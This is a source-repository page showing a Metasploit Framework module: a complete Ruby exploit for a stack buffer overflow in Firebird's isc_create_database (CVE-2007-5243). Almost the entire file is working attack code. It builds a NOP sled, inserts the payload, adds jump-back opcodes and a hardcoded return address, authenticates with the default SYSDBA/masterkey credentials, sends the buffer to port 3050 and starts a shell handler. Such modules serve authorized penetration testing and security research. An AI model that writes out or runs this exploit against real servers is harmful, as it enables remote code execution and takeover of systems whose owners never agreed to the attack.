Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / misc / fb_isc_create_database.rb @ master

History | View | Annotate | Download (3.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Tcp
18
        include Msf::Exploit::Remote::BruteTargets
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'                => 'Firebird Relational Database isc_create_database() Buffer Overflow',
23
                        'Description'        => %q{
24
                                        This module exploits a stack buffer overflow in Borland InterBase
25
                                by sending a specially crafted create request.
26
                        },
27
                        'Version'        => '$Revision$',
28
                        'Author'        =>
29
                                [
30
                                        'ramon',
31
                                        'Adriano Lima <adriano[at]risesecurity.org>',
32
                                ],
33
                        'Arch'                => ARCH_X86,
34
                        'Platform'        => 'win',
35
                        'References'        =>
36
                                [
37
                                        [ 'CVE', '2007-5243' ],
38
                                        [ 'OSVDB', '38606' ],
39
                                        [ 'BID', '25917' ],
40
                                        [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
41
                                ],
42
                        'Privileged'        => true,
43
                        'License'        => MSF_LICENSE,
44
                        'Payload'        =>
45
                                {
46
                                        'Space' => 512,
47
                                        'BadChars' => "\x00\x2f\x3a\x40\x5c",
48
                                        'StackAdjustment' => -3500,
49
                                },
50
                        'Targets'        =>
51
                                [
52
                                        [ 'Brute Force', { } ],
53
                                        # '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
54
                                        [
55
                                                'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
56
                                                { 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
57
                                        ],
58
                                        # Debug
59
                                        [
60
                                                'Debug',
61
                                                { 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
62
                                        ],
63
                                ],
64
                        'DefaultTarget'        => 1,
65
                        'DisclosureDate'  => 'Oct 03 2007'
66
                ))
67

    
68
                register_options(
69
                        [
70
                                Opt::RPORT(3050)
71
                        ], self.class)
72
        end
73

    
74
        # Create database parameter block
75
        def dpb_create
76
                isc_dpb_user_name = 28
77
                isc_dpb_password = 29
78

    
79
                isc_dpb_version1 = 1
80

    
81
                user = 'SYSDBA'
82
                pass = 'masterkey'
83

    
84
                dpb = ''
85

    
86
                dpb << [isc_dpb_version1].pack('c')
87

    
88
                dpb << [isc_dpb_user_name].pack('c')
89
                dpb << [user.length].pack('c')
90
                dpb << user
91

    
92
                dpb << [isc_dpb_password].pack('c')
93
                dpb << [pass.length].pack('c')
94
                dpb << pass
95

    
96
                dpb
97
        end
98

    
99
        # Calculate buffer padding
100
        def buf_padding(length = '')
101
                remainder = length.remainder(4)
102
                padding = 0
103

    
104
                if remainder > 0
105
                        padding = (4 - remainder)
106
                end
107

    
108
                padding
109
        end
110

    
111
        def exploit_target(target)
112

    
113
                target['Length'].each do |length|
114

    
115
                        connect
116

    
117
                        # Create database
118
                        op_create = 20
119

    
120
                        # Extra padding to trigger the exception
121
                        extra_padding = 1024 * 16
122

    
123
                        buf = ''
124

    
125
                        # Operation/packet type
126
                        buf << [op_create].pack('N')
127

    
128
                        # Id
129
                        buf << [0].pack('N')
130

    
131
                        # Length
132
                        buf << [length + extra_padding].pack('N')
133

    
134
                        # Nop block
135
                        buf << make_nops(length - payload.encoded.length - 13)
136

    
137
                        # Payload
138
                        buf << payload.encoded
139

    
140
                        # Jump back into the nop block
141
                        buf << "\xe9" + [-516].pack('V')
142

    
143
                        # Jump back
144
                        buf << "\xeb" + [-7].pack('c')
145

    
146
                        # Random alpha data
147
                        buf << rand_text_alpha(2)
148

    
149
                        # Target
150
                        buf << [target.ret].pack('V')
151

    
152
                        # Random alpha data
153
                        buf << rand_text_alpha(extra_padding)
154

    
155
                        # Padding
156
                        buf << "\x00" * buf_padding(length + extra_padding)
157

    
158
                        # Database parameter block
159

    
160
                        # Create database parameter block
161
                        dpb = dpb_create
162

    
163
                        # Database parameter block length
164
                        buf << [dpb.length].pack('N')
165

    
166
                        # Database parameter block
167
                        buf << dpb
168

    
169
                        # Padding
170
                        buf << "\x00" * buf_padding(dpb.length)
171

    
172
                        sock.put(buf)
173

    
174
                        select(nil,nil,nil,4)
175

    
176
                        handler
177

    
178
                end
179

    
180
        end
181

    
182
end